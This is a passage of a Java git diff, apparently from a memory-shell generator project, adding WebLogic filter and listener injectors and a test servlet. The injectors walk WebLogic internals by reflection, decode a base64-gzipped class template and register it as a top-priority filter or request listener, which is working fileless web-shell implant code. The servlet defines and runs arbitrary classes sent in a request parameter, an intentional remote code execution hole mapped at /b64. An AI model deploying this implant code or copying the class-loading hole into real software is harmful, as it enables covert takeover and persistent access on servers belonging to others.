Object request = getFieldValue(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFieldValue(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFieldValue(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
Object obj;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
obj = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
obj = clazz.newInstance();
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
*/
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
return;
|
||||
}
|
||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||
cachedClasses.put(getClassName(), filter.getClass());
|
||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||
//将filter置为第一位
|
||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
||||
for (Object obj : filters.keySet()) {
|
||||
if (obj.toString().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
}
|
||||
+244
@@ -0,0 +1,244 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicListenerInjector {
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebLogicListenerInjector();
|
||||
}
|
||||
|
||||
public WebLogicListenerInjector() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static Object[] getContextsByMbean() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||
for (Object componentRuntime : childrenSet) {
|
||||
try {
|
||||
Object context = getFieldValue(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFieldValue(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFieldValue(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFieldValue(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFieldValue(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
Object obj;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
obj = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
obj = clazz.newInstance();
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
return;
|
||||
}
|
||||
Object eventsManager = getFieldValue(context, "eventsManager");
|
||||
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
List<Object> requestListeners = (List<Object>) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners");
|
||||
for (Object requestListener : requestListeners) {
|
||||
if (requestListener.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class Base64ClassLoaderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
@Override
|
||||
public void init(ServletConfig config) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletConfig getServletConfig() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
byte[] bytes = decodeBase64(data);
|
||||
defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
try {
|
||||
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception var4) {
|
||||
Class<?> decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -44,4 +44,14 @@
|
||||
<servlet-name>java-deserialize</servlet-name>
|
||||
<url-pattern>/java_deserialize</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<!-- 用于测试 Java 反序列化 -->
|
||||
<servlet>
|
||||
<servlet-name>b64</servlet-name>
|
||||
<servlet-class>Base64ClassLoaderServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>b64</servlet-name>
|
||||
<url-pattern>/b64</url-pattern>
|
||||
</servlet-mapping>
|
||||
</web-app>
|
||||
Reference in New Issue
Block a user